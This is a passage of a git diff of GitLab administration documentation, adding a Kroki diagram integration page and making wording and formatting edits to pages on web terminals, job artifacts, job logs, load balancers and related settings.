b/doc/administration/instance_review.md @@ -1,7 +1,7 @@ --- stage: Growth group: Conversion -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Instance Review @@ -21,5 +21,9 @@ you qualify for a free Instance Review. 1. GitLab redirects you to a form with prefilled data obtained from your instance. 1. Click **Submit** to see the initial report. -A GitLab team member will contact you for further review, to provide suggestions -that will help you improve your usage of GitLab. +<!-- vale gitlab.FutureTense = NO --> + +You will be contacted by a GitLab team member for further review, to provide suggestions +intended to help you improve your usage of GitLab. + +<!-- vale gitlab.FutureTense = YES --> diff --git a/doc/administration/integration/kroki.md b/doc/administration/integration/kroki.md new file mode 100644 index 00000000000..dead5640873 --- /dev/null +++ b/doc/administration/integration/kroki.md @@ -0,0 +1,162 @@ +# Kroki diagrams **(CORE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7. + +When [Kroki](https://kroki.io) integration is enabled and configured in +GitLab you can use it to create diagrams in AsciiDoc and Markdown documents. + +## Kroki Server + +When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. +You can use the free public cloud instance `https://kroki.io` or you can [install Kroki](https://docs.kroki.io/kroki/setup/install/) +on your own infrastructure. +After you've installed Kroki, make sure to update the server URL to point to your instance. + +### Docker + +With Docker, run a container like this: + +```shell +docker run -d --name kroki -p 8080:8000 yuzutech/kroki +``` + +The **Kroki URL** is the hostname of the server running the container. + +The [`yuzutech/kroki`](https://hub.docker.com/r/yuzutech/kroki) image contains the following diagrams libraries out-of-the-box: + +- [Bytefield](https://bytefield-svg.deepsymmetry.org/) +- [Ditaa](http://ditaa.sourceforge.net) +- [Erd](https://github.com/BurntSushi/erd) +- [GraphViz](https://www.graphviz.org/) +- [Nomnoml](https://github.com/skanaar/nomnoml) +- [PlantUML](https://github.com/plantuml/plantuml) + - [C4 model](https://github.com/RicardoNiepel/C4-PlantUML) (with PlantUML) +- [Svgbob](https://github.com/ivanceras/svgbob) +- [UMlet](https://github.com/umlet/umlet) +- [Vega](https://github.com/vega/vega) +- [Vega-Lite](https://github.com/vega/vega-lite) +- [WaveDrom](https://wavedrom.com/) + +If you want to use additional diagram libraries, +read the [Kroki installation](https://docs.kroki.io/kroki/setup/install/#_images) to learn how to start Kroki companion containers. + +## Enable Kroki in GitLab + +You need to enable Kroki integration from Settings under Admin Area. +To do that, log in with an administrator account and follow these steps: + +1. Select the Admin Area (**{admin}**) icon. +1. Navigate to **Settings > General**. +1. Expand the **Kroki** section. +1. Select **Enable Kroki** checkbox. +1. Enter the **Kroki URL**. + +## Create diagrams + +With Kroki integration enabled and configured, you can start adding diagrams to +your AsciiDoc or Markdown documentation using delimited blocks: + +- **Markdown** + + ````markdown + ```plantuml + Bob -> Alice : hello + Alice -> Bob : hi + ``` + ```` + +- **AsciiDoc** + + ```plaintext + [plantuml] + .... + Bob->Alice : hello + Alice -> Bob : hi + .... + ``` + +The above blocks are converted to an HTML image tag with source pointing to the +Kroki instance. If the Kroki server is correctly configured, this should +render a nice diagram instead of the block: + + + +Kroki supports more than a dozen diagram libraries. Here's a few examples: + +**GraphViz** + +```plaintext +[graphviz] +.... +digraph finite_state_machine { + rankdir=LR; + node [shape = doublecircle]; LR_0 LR_3 LR_4 LR_8; + node [shape = circle]; + LR_0 -> LR_2 [ label = "SS(B)" ]; + LR_0 -> LR_1 [ label = "SS(S)" ]; + LR_1 -> LR_3 [ label = "S($end)" ]; + LR_2 -> LR_6 [ label = "SS(b)" ]; + LR_2 -> LR_5 [ label = "SS(a)" ]; + LR_2 -> LR_4 [ label = "S(A)" ]; + LR_5 -> LR_7 [ label = "S(b)" ]; + LR_5 -> LR_5 [ label = "S(a)" ]; + LR_6 -> LR_6 [ label = "S(b)" ]; + LR_6 -> LR_5 [ label = "S(a)" ]; + LR_7 -> LR_8 [ label = "S(b)" ]; + LR_7 -> LR_5 [ label = "S(a)" ]; + LR_8 -> LR_6 [ label = "S(b)" ]; + LR_8 -> LR_5 [ label = "S(a)" ]; +} +.... +``` + + + +**C4 (based on PlantUML)** + +```plaintext +[c4plantuml] +.... +@startuml +!include C4_Context.puml + +title System Context diagram for Internet Banking System + +Person(customer, "Banking Customer", "A customer of the bank, with personal bank accounts.") +System(banking_system, "Internet Banking System", "Allows customers to check their accounts.") + +System_Ext(mail_system, "E-mail system", "The internal Microsoft Exchange e-mail system.") +System_Ext(mainframe, "Mainframe Banking System", "Stores all of the core banking information.") + +Rel(customer, banking_system, "Uses") +Rel_Back(customer, mail_system, "Sends e-mails to") +Rel_Neighbor(banking_system, mail_system, "Sends e-mails", "SMTP") +Rel(banking_system, mainframe, "Uses") +@enduml +.... +``` + + + +**Nomnoml** + +```plaintext +[nomnoml] +.... +[Pirate|eyeCount: Int|raid();pillage()| + [beard]--[parrot] + [beard]-:>[foul mouth] +] + +[<abstract>Marauder]<:--[Pirate] +[Pirate]- 0..7[mischief] +[jollyness]->[Pirate] +[jollyness]->[rum] +[jollyness]->[singing] +[Pirate]-> *[rum|tastiness: Int|swig()] +[Pirate]->[singing] +[singing]<->[rum] +.... +``` + + diff --git a/doc/administration/integration/plantuml.md b/doc/administration/integration/plantuml.md index 5bdea9d8843..a7458999aaa 100644 --- a/doc/administration/integration/plantuml.md +++ b/doc/administration/integration/plantuml.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -137,7 +137,7 @@ that, login with an Admin account and do following: - Check **Enable PlantUML** checkbox. - Set the PlantUML instance as `https://gitlab.example.com/-/plantuml/`. -NOTE: **Note:** +NOTE: If you are using a PlantUML server running v1.2020.9 and above (for example, [plantuml.com](https://plantuml.com)), set the `PLANTUML_ENCODING` environment variable to enable the `deflate` compression. On Omnibus, diff --git a/doc/administration/integration/terminal.md b/doc/administration/integration/terminal.md index 3c53535d856..f4c242b6e72 100644 --- a/doc/administration/integration/terminal.md +++ b/doc/administration/integration/terminal.md @@ -1,14 +1,14 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Web terminals > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7690) in GitLab 8.15. -NOTE: **Note:** +NOTE: Only project maintainers and owners can access web terminals. With the introduction of the [Kubernetes integration](../../user/project/clusters/index.md), @@ -27,7 +27,7 @@ In brief: - When a user navigates to the terminal page for an environment, they are served a JavaScript application that opens a WebSocket connection back to GitLab. - The WebSocket is handled in [Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse), - rather than the Rails application server. + rather than the Rails application server. - Workhorse queries Rails for connection details and user permissions. Rails queries Kubernetes for them in the background using [Sidekiq](../troubleshooting/sidekiq.md). - Workhorse acts as a proxy server between the user's browser and the Kubernetes @@ -44,14 +44,14 @@ everything protected with authorization guards. This is described in more detail below. - Interactive web terminals are completely disabled unless [`[session_server]`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) is configured. -- Every time the runner starts, it will generate an `x509` certificate that will be used for a `wss` (Web Socket Secure) connection. +- Every time the runner starts, it generates an `x509` certificate that is used for a `wss` (Web Socket Secure) connection. - For every created job, a random URL is generated which is discarded at the end of the job. This URL is used to establish a web socket connection. The URL for the session is in the format `(IP|HOST):PORT/session/$SOME_HASH`, where the `IP/HOST` and `PORT` are the configured [`listen_address`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section). - Every session URL that is created has an authorization header that needs to be sent, to establish a `wss` connection. - The session URL is not exposed to the users in any way. GitLab holds all the state internally and proxies accordingly. ## Enabling and disabling terminal support -NOTE: **Note:** +NOTE: AWS Elastic Load Balancers (ELBs) do not support web sockets. AWS Application Load Balancers (ALBs) must be used if you want web terminals to work. See [AWS Elastic Load Balancing Product Comparison](https://aws.amazon.com/elasticloadbalancing/features/#compare) @@ -72,7 +72,7 @@ guides document the necessary steps for a selection of popular reverse proxies: - [HAProxy](https://www.haproxy.com/blog/websockets-load-balancing-with-haproxy/) - [Varnish](https://varnish-cache.org/docs/4.1/users-guide/vcl-example-websockets.html) -Workhorse won't let WebSocket requests through to non-WebSocket endpoints, so +Workhorse doesn't let WebSocket requests through to non-WebSocket endpoints, so it's safe to enable support for these headers globally. If you'd rather had a narrower set of rules, you can restrict it to URLs ending with `/terminal.ws` (although this may still have a few false positives). @@ -85,7 +85,7 @@ document for more details. If you'd like to disable web terminal support in GitLab, just stop passing the `Connection` and `Upgrade` hop-by-hop headers in the *first* HTTP reverse -proxy in the chain. For most users, this will be the NGINX server bundled with +proxy in the chain. For most users, this is the NGINX server bundled with Omnibus GitLab, in which case, you need to: - Find the `nginx['proxy_set_headers']` section of your `gitlab.rb` file @@ -95,9 +95,9 @@ Omnibus GitLab, in which case, you need to: For your own load balancer, just reverse the configuration changes recommended by the above guides. -When these headers are not passed through, Workhorse will return a +When these headers are not passed through, Workhorse returns a `400 Bad Request` response to users attempting to use a web terminal. In turn, -they will receive a `Connection failed` message. +they receive a `Connection failed` message. ## Limiting WebSocket connection time diff --git a/doc/administration/invalidate_markdown_cache.md b/doc/administration/invalidate_markdown_cache.md index ac43d0eae63..75bee6e0c9a 100644 --- a/doc/administration/invalidate_markdown_cache.md +++ b/doc/administration/invalidate_markdown_cache.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -19,5 +19,5 @@ be done by [changing the application settings through the API](../api/settings.md#change-application-settings): ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings?local_markdown_version=<increased_number> +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?local_markdown_version=<increased_number>" ``` diff --git a/doc/administration/issue_closing_pattern.md b/doc/administration/issue_closing_pattern.md index 7abe0f725f2..6a5b90ae963 100644 --- a/doc/administration/issue_closing_pattern.md +++ b/doc/administration/issue_closing_pattern.md @@ -1,13 +1,13 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- # Issue closing pattern **(CORE ONLY)** -NOTE: **Note:** +NOTE: This is the administration documentation. There is a separate [user documentation](../user/project/issues/managing_issues.md#closing-issues-automatically) on issue closing pattern. @@ -23,7 +23,7 @@ is installed on. The default pattern can be located in [`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) under the "Automatic issue closing" section. -TIP: **Tip:** +NOTE: You are advised to use <https://rubular.com> to test the issue closing pattern. Because Rubular doesn't understand `%{issue_ref}`, you can replace this by `#\d+` when testing your patterns, which matches only local issue references like `#123`. diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index a010903013e..5d07e7d1b26 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -103,7 +103,7 @@ If you configure GitLab to store artifacts on object storage, you may also want [eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage). In both cases, job logs are archived and moved to object storage when the job completes. -DANGER: **Warning:** +WARNING: In a multi-server setup you must use one of the options to [eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage), or job logs could be lost. @@ -111,21 +111,21 @@ In a multi-server setup you must use one of the options to #### Object Storage Settings -NOTE: **Note:** +NOTE: In GitLab 13.2 and later, we recommend using the [consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration). This section describes the earlier configuration format. For source installations the following settings are nested under `artifacts:` and then `object_store:`. On Omnibus GitLab installs they are prefixed by `artifacts_object_store_`. -| Setting | Description | Default | -|---------|-------------|---------| -| `enabled` | Enable/disable object storage | `false` | -| `remote_directory` | The bucket name where Artifacts will be stored| | -| `direct_upload` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | `false` | -| `background_upload` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 | `true` | -| `proxy_download` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data | `false` | -| `connection` | Various connection options described below | | +| Setting | Default | Description | +|---------------------|---------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `enabled` | `false` | Enable/disable object storage | +| `remote_directory` | | The bucket name where Artifacts are stored | +| `direct_upload` | `false` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | +| `background_upload` | `true` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 | +| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | +| `connection` | | Various connection options described below | #### Connection settings @@ -190,7 +190,7 @@ _The artifacts are stored by default in In some cases, you may need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files) to clean up orphaned artifacts. -CAUTION: **Caution:** +WARNING: JUnit test report artifact (`junit.xml.gz`) migration [was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991) by the `gitlab:artifacts:migrate` script. @@ -243,7 +243,7 @@ _The artifacts are stored by default in In some cases, you may need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files) to clean up orphaned artifacts. -CAUTION: **Caution:** +WARNING: JUnit test report artifact (`junit.xml.gz`) migration [was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991) by the `gitlab:artifacts:migrate` script. @@ -336,7 +336,7 @@ To migrate back to local storage: If [`artifacts:expire_in`](../ci/yaml/README.md#artifactsexpire_in) is used to set an expiry for the artifacts, they are marked for deletion right after that date passes. -Otherwise, they will expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). +Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq runs every hour at 50 minutes (`50 * * * *`). @@ -367,7 +367,7 @@ steps below. 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -If the `expire` directive is not set explicitly in your pipeline, artifacts will expire per the +If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the default artifacts expiration setting, which you can find in the [CI/CD Admin settings](../user/admin_area/settings/continuous_integration.md). ## Validation for dependencies @@ -444,7 +444,7 @@ reasons are: - The number of jobs run, and hence artifacts generated, is higher than expected. - Job logs are larger than expected, and have accumulated over time. -In these and other cases, you'll need to identify the projects most responsible +In these and other cases, identify the projects most responsible for disk space usage, figure out what types of artifacts are using the most space, and in some cases, manually delete job artifacts to reclaim disk space. @@ -481,7 +481,7 @@ the number you want. #### Delete job artifacts from jobs completed before a specific date -CAUTION: **Caution:** +WARNING: These commands remove data permanently from the database and from disk. We highly recommend running them only under the guidance of a Support Engineer, or running them in a test environment with a backup of the instance ready to be @@ -507,8 +507,8 @@ If you need to manually remove job artifacts associated with multiple jobs while 1. Delete job artifacts older than a specific date: - NOTE: **Note:** - This step will also erase artifacts that users have chosen to + NOTE: + This step also erases artifacts that users have chosen to ["keep"](../ci/pipelines/job_artifacts.md#browsing-artifacts). ```ruby @@ -528,7 +528,7 @@ If you need to manually remove job artifacts associated with multiple jobs while #### Delete job artifacts and logs from jobs completed before a specific date -CAUTION: **Caution:** +WARNING: These commands remove data permanently from the database and from disk. We highly recommend running them only under the guidance of a Support Engineer, or running them in a test environment with a backup of the instance ready to be @@ -552,7 +552,7 @@ If you need to manually remove **all** job artifacts associated with multiple jo builds_with_artifacts = Ci::Build.with_existing_job_artifacts(Ci::JobArtifact.trace) ``` -1. Select the user which will be mentioned in the web UI as erasing the job: +1. Select the user which is mentioned in the web UI as erasing the job: ```ruby admin_user = User.find_by(username: 'username') diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md index 23343d309de..7af167de4ad 100644 --- a/doc/administration/job_logs.md +++ b/doc/administration/job_logs.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -30,7 +30,7 @@ it would be `/home/git/gitlab`. ## Changing the job logs local location -To change the location where the job logs will be stored, follow the steps below. +To change the location where the job logs are stored, follow the steps below. **In Omnibus installations:** @@ -117,12 +117,12 @@ you can do so using one of the following options: There isn't a way to automatically expire old job logs, but it's safe to remove them if they're taking up too much space. If you remove the logs manually, the -job output in the UI will be empty. +job output in the UI is empty. For example, to delete all job logs older than 60 days, run the following from a shell in your GitLab instance: -DANGER: **Warning:** -This command will permanently delete the log files and is irreversible. +WARNING: +This command permanently deletes the log files and is irreversible. ```shell find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete @@ -132,7 +132,7 @@ find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -d > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18169) in GitLab 10.4. -NOTE: **Note:** +NOTE: This beta feature is off by default. See below for how to [enable or disable](#enabling-incremental-logging) it. By combining the process with object storage settings, we can completely bypass @@ -144,7 +144,7 @@ with one change: _the stored path of the first two phases is different_. This in log architecture stores chunks of logs in Redis and a persistent store (object storage or database) instead of file storage. Redis is used as first-class storage, and it stores up-to 128KB of data. After the full chunk is sent, it is flushed to a persistent store, either object storage (temporary directory) or database. -After a while, the data in Redis and a persistent store will be archived to [object storage](#uploading-logs-to-object-storage). +After a while, the data in Redis and a persistent store is archived to [object storage](#uploading-logs-to-object-storage). The data are stored in the following Redis namespace: `Gitlab::Redis::SharedState`. @@ -184,10 +184,10 @@ Feature.enabled?(:ci_enable_live_trace) Feature.enable(:ci_enable_live_trace) ``` -NOTE: **Note:** -The transition period will be handled gracefully. Upcoming logs will be -generated with the incremental architecture, and on-going logs will stay with the -legacy architecture, which means that on-going logs won't be forcibly +NOTE: +The transition period is handled gracefully. Upcoming logs are +generated with the incremental architecture, and on-going logs stay with the +legacy architecture, which means that on-going logs aren't forcibly re-generated with the incremental architecture. **To disable incremental logging (trace):** @@ -196,10 +196,10 @@ re-generated with the incremental architecture. Feature.disable('ci_enable_live_trace') ``` -NOTE: **Note:** -The transition period will be handled gracefully. Upcoming logs will be generated -with the legacy architecture, and on-going incremental logs will stay with the incremental -architecture, which means that on-going incremental logs won't be forcibly re-generated +NOTE: +The transition period is handled gracefully. Upcoming logs are generated +with the legacy architecture, and on-going incremental logs stay with the incremental +architecture, which means that on-going incremental logs aren't forcibly re-generated with the legacy architecture. ### Potential implications @@ -209,13 +209,13 @@ In some cases, having data stored on Redis could incur data loss: 1. **Case 1: When all data in Redis are accidentally flushed** - On going incremental logs could be recovered by re-sending logs (this is supported by all versions of GitLab Runner). - - Finished jobs which have not archived incremental logs will lose the last part + - Finished jobs which have not archived incremental logs lose the last part (~128KB) of log data. 1. **Case 2: When Sidekiq workers fail to archive (e.g., there was a bug that prevents archiving process, Sidekiq inconsistency, etc.)** - - Currently all log data in Redis will be deleted after one week. If the - Sidekiq workers can't finish by the expiry date, the part of log data will be lost. + - All log data in Redis is deleted after one week. If the + Sidekiq workers can't finish by the expiry date, the part of log data is lost. Another issue that might arise is that it could consume all memory on the Redis instance. If the number of jobs is 1000, 128MB (128KB * 1000) is consumed. diff --git a/doc/administration/job_traces.md b/doc/administration/job_traces.md index d0b346a931e..2dbcf5d6705 100644 --- a/doc/administration/job_traces.md +++ b/doc/administration/job_traces.md @@ -3,3 +3,6 @@ redirect_to: 'job_logs.md' --- This document was moved to [another location](job_logs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md index a360542ac44..bc349536a0c 100644 --- a/doc/administration/lfs/index.md +++ b/doc/administration/lfs/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs_administration.html' --- @@ -71,7 +71,7 @@ GitLab provides two different options for the uploading mechanism: "Direct uploa [Read more about using object storage with GitLab](../object_storage.md). -NOTE: **Note:** +NOTE: In GitLab 13.2 and later, we recommend using the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). This section describes the earlier configuration format. diff --git a/doc/administration/lfs/lfs_administration.md b/doc/administration/lfs/lfs_administration.md index 7ace0ec5a93..a275efce5bb 100644 --- a/doc/administration/lfs/lfs_administration.md +++ b/doc/administration/lfs/lfs_administration.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md index 4656bccf5e6..69c401acb86 100644 --- a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md +++ b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/git/lfs/index.md' --- This document was moved to [another location](../../topics/git/lfs/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md index dd98a50e353..16095c1dbf6 100644 --- a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md +++ b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md' --- This document was moved to [another location](../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/libravatar.md b/doc/administration/libravatar.md index a92e6fade03..552dc7095e2 100644 --- a/doc/administration/libravatar.md +++ b/doc/administration/libravatar.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -41,7 +41,7 @@ the configuration options as follows: ### Your own Libravatar server If you are [running your own Libravatar service](https://wiki.libravatar.org/running_your_own/), -the URL will be different in the configuration, but you must provide the same +the URL is different in the configuration, but you must provide the same placeholders so GitLab can parse the URL correctly. For example, you host a service on `http://libravatar.example.com` and the diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md index 410381ff2b0..ae96989a188 100644 --- a/doc/administration/load_balancer.md +++ b/doc/administration/load_balancer.md @@ -1,23 +1,23 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Load Balancer for multi-node GitLab -In an multi-node GitLab configuration, you will need a load balancer to route +In an multi-node GitLab configuration, you need a load balancer to route traffic to the application servers. The specifics on which load balancer to use or the exact configuration is beyond the scope of GitLab documentation. We hope that if you're managing HA systems like GitLab you have a load balancer of choice already. Some examples including HAProxy (open-source), F5 Big-IP LTM, -and Citrix Net Scaler. This documentation will outline what ports and protocols +and Citrix Net Scaler. This documentation outlines what ports and protocols you need to use with GitLab. ## SSL -How will you handle SSL in your multi-node environment? There are several different +How do you want to handle SSL in your multi-node environment? There are several different options: - Each application node terminates SSL @@ -29,8 +29,8 @@ options: ### Application nodes terminate SSL Configure your load balancer(s) to pass connections on port 443 as 'TCP' rather -than 'HTTP(S)' protocol. This will pass the connection to the application nodes -NGINX service untouched. NGINX will have the SSL certificate and listen on port 443. +than 'HTTP(S)' protocol. This passes the connection to the application nodes +NGINX service untouched. NGINX has the SSL certificate and listen on port 443. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. @@ -38,10 +38,10 @@ for details on managing SSL certificates and configuring NGINX. ### Load Balancer(s) terminate SSL without backend SSL Configure your load balancer(s) to use the 'HTTP(S)' protocol rather than 'TCP'. -The load balancer(s) will then be responsible for managing SSL certificates and +The load balancer(s) is be responsible for managing SSL certificates and terminating SSL. -Since communication between the load balancer(s) and GitLab will not be secure, +Since communication between the load balancer(s) and GitLab isn't secure, there is some additional configuration needed. See [NGINX Proxied SSL documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#supporting-proxied-ssl) for details. @@ -49,12 +49,12 @@ for details. ### Load Balancer(s) terminate SSL with backend SSL Configure your load balancer(s) to use the 'HTTP(S)' protocol rather than 'TCP'. -The load balancer(s) will be responsible for managing SSL certificates that -end users will see. +The load balancer(s) is responsible for managing SSL certificates that +end users see. -Traffic will also be secure between the load balancer(s) and NGINX in this +Traffic is secure between the load balancer(s) and NGINX in this scenario. There is no need to add configuration for proxied SSL since the -connection will be secure all the way. However, configuration will need to be +connection is secure all the way. However, configuration must be added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. @@ -75,13 +75,13 @@ for details on managing SSL certificates and configuring NGINX. to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](integration/terminal.md) integration guide for more details. -- (*2*): When using HTTPS protocol for port 443, you will need to add an SSL +- (*2*): When using HTTPS protocol for port 443, you must add an SSL certificate to the load balancers. If you wish to terminate SSL at the GitLab application server instead, use TCP protocol. ### GitLab Pages Ports -If you're using GitLab Pages with custom domain support you will need some +If you're using GitLab Pages with custom domain support you need some additional port configurations. GitLab Pages requires a separate virtual IP address. Configure DNS to point the `pages_external_url` from `/etc/gitlab/gitlab.rb` at the new virtual IP address. See the @@ -103,7 +103,7 @@ GitLab Pages requires a separate virtual IP address. Configure DNS to point the Some organizations have policies against opening SSH port 22. In this case, it may be helpful to configure an alternate SSH hostname that allows users -to use SSH on port 443. An alternate SSH hostname will require a new virtual IP address +to use SSH on port 443. An alternate SSH hostname requires a new virtual IP address compared to the other GitLab HTTP configuration above. Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`. @@ -114,7 +114,7 @@ Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`. ## Readiness check -It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma will not accept requests. +It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma doesn't accept requests. <!-- ## Troubleshooting diff --git a/doc/administration/logs.md b/doc/administration/logs.md index e5523ba67aa..3d5ba903941 100644 --- a/doc/administration/logs.md +++ b/doc/administration/logs.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Log system @@ -117,7 +117,7 @@ The ActionCable connection or channel class is used as the `controller`. } ``` -NOTE: **Note:** +NOTE: Starting with GitLab 12.5, if an error occurs, an `exception` field is included with `class`, `message`, and 